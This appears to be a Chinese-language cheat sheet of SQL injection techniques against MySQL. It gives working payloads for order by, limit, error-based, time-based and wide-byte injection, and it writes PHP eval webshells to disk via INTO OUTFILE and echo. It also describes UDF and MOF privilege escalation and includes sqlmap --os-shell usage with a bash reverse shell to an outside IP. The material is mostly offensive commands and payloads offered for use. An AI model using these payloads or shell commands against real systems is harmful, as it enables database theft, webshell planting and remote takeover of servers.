SQL注入的本质
1 | 对于输入检查不充分,导致SQL语句将用户提交的非法数据当作语句的一部分来执行。攻击者通过注入语句,改变SQL语句执行逻辑,通过控制部分SQL语句,攻击者可以查询数据库中任何自己需要的数据,利用数据库的一些特性,可以直接获取数据库服务器的系统权限。 |
order by注入:
不能使用unoin,having,where
1 | select id from websites order by updatexml(1,if(1=2,1,concat(0x3a,database())),1); |
limit注入
- 不存在
order by
关键字
1 | select id from websites limit 0,1; |
存在
order by
关键字PROCEDURE
和INTO
,INTO
除非有写入shell的权限extractvalue
和benchmark
函数进行延时,需要版本5.0.0<mysql<5.6.6其中
extractvalue(目标xml文档,xml路径)
,xml文档中查找字符位置是用/xxx/xxx/xxx/…
这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,所以使用此函数时需要用concat()
做分割(待定)1
2
3报错注入:select id from websites order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
延时注入:select id from websites order by id desc limit 0 procedure analyse(extractvalue(1,concat(0x3a,benchmark(10000,sha1(1)))),1);
select id from websites order by id desc limit 0 procedure analyse(extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like '5',benchmark(10000,sha1(1)),1)))),1);like:
%
0个或者多个字符;_
单个字符
宽字节注入原理
1 | 利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字,而当我们输入有单引号时会自动加入\进行转义而变为\'(在PHP配置文件中magic_quotes_gpc=On的情况下或者使用addslashes(),icov(),mysql_real_escape_string()、mysql_escape_string()等,提交的参数(%df)中如果带有单引号',就会被自动转义\'),由于宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,将后面的一个字节与前一个大于128的ascii码进行组合成为一个完整的字符(mysql判断一个字符是不是汉字,首先两个字符是一个汉字,另外根据gbk编码,第一个字节ascii码大于128,基本上就可以了),此时'前的\就被吃了,我们就可以使用'了。 |
sql注入写shell相关
information_schema.tables
不能用时,在MySQL 5.6及以上版本中可以使用以下获取表名
1 | ?id=1' union select 1,group_concat(table_name) from mysql.innodb_table_stats where database_name="test" |
找物理路径:
1 | 报错 |
1' union select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/tmp/nb.php'#
sql注入提权,提权原理
- UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便
- MOF提权:MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权
- windows 03及以下版本
- mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
- secure-file-priv参数不为null
sqlmap一些使用
sqlmap的https注入,sqlmap -u https://192.168.1.1/a.php?id=1" –force-ssl
-r
从文件中载入HTTP请求--is-dba
查询当前数据库的账户是否为管理员账户sqlmap连接mysql获取shell
直接连接数据库
python sqlmap.py -d mysql://root:@127.0.0.1:3306/test --os-shell
然后选择是多少位的操作系统,获取webshell,执行
bash -i >& /dev/tcp/120.xx.xx.xx/8989>&1
,还可以直接执行以下命令os-shell> whoami
os-shell> ipconfig
反弹到服务器120.xx.xx.xx
通过echo命令生成shell:
echo "<?php @eval($_POST["cai"]);?>" >/data/www/1.php